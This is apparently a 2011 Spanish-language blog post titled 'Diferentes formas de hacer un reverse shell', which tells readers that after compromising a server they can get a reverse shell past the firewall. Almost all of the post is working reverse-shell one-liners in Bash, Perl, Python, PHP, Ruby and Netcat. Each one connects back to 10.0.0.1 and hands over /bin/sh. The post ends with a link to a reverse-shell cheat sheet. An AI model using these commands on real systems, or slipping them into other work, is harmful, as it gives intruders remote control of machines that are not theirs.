Archivo

sábado, 17 de septiembre de 2011

Diferentes formas de hacer un reverse shell



     Mirándolo desde el punto de vista de un atacante, una vez comprometido un servidor, sera casi inevitable realizar un reverse shell, o sea, hacer que la maquina atacada se conecte a la del atacante proveyendole una shell, y de esta forma saltarse la proteccion de un firewall.

     Las formas para llevar esta tarea, estara limitado por el sistema con que estemos tratando y las herramientas que tenga instaladas, aqui dejo algunas de las formas que se pueden emplear ... ^_^
Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
nc -e /bin/sh 10.0.0.1 1234

Para mas información ...

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

No hay comentarios: